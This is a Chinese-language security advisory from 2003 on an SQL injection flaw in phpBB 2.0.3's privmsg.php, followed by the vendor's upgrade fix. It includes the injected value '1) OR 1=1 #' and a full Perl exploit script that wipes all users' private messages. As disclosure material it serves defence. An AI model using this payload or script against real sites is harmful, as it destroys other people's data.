phpBB2 privmsg.php SQL注入漏洞
发布日期:2003-01-17
更新日期:2003-01-22
受影响系统:phpBB Group phpBB 2.0.3
不受影响系统:phpBB Group phpBB 2.0.4
描述:
BUGTRAQ ID:
6634
phpBB2是一款免费开放源代码的WEB论坛/社区程序,由PHP语言实现,可以运行在Unix/Linux、MacOS、Microsoft Windows系统下。
phpBB2中的privmsg.php脚本对用户提交的输入缺少充分过滤,远程攻击者可以利用这个漏洞更改数据库逻辑,删除所有私人消息。
phpBB2用户可以发送私人消息给任意用户,不过privmsg.php脚本中删除私人消息的函数存在SQL注入漏洞。如果我们提交要删除私人消息号码为"1) OR 1=1 #"的请求,系统上所有用户的私人消息将被删除。
私人消息存储在两个表中,SQL注入只能工作在其中之一个表中,因此所有文本字段信息全部删除,但是主题和metadata数据只有当前登录用户才能被删除。
<*来源:Ulf Harnhammar (
ulfh@update.uu.se)
链接:
http://lists.netsys.com/pipermail/full-disclosure/2003-January/003591.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Ulf Harnhammar (
ulfh@update.uu.se)提供了如下测试方法:
privmsg.php?folder=inbox&sid=[THE SID VALUE]:
mode=""
delete="true"
mark[]="1) OR 1=1 #"
confirm="Yes"
如果你在关闭cookie的情况下登录系统,当前SID值会显示在URL字段中。
测试脚本:
#!/usr/bin/perl --
# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003
use Socket;
if (@ARGV != 2) { die "usage: $0 host sid\n"; }
($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;
$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
"Host: $host$crlf".
"User-Agent: Mozzarella/1.37++$crlf".
"Referer:
http://www.phpbb.com/$crlf".
"Connection: close$crlf".
"Content-Type: application/x-www-form-urlencoded$crlf".
"Content-Length: 58$crlf$crlf".
"mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";
$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);
socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";
select SOK; $| = 1; select STDOUT;
print SOK $http;
$junk = '';
while (<SOK>) { $junk .= $_; }
close SOK or die "Couldn't close!\n";
建议:
厂商补丁:
phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
phpBB Group Upgrade phpBB 2.0.4
http://www.phpbb.com/downloads.php浏览次数:4050
严重程度:0(网友投票)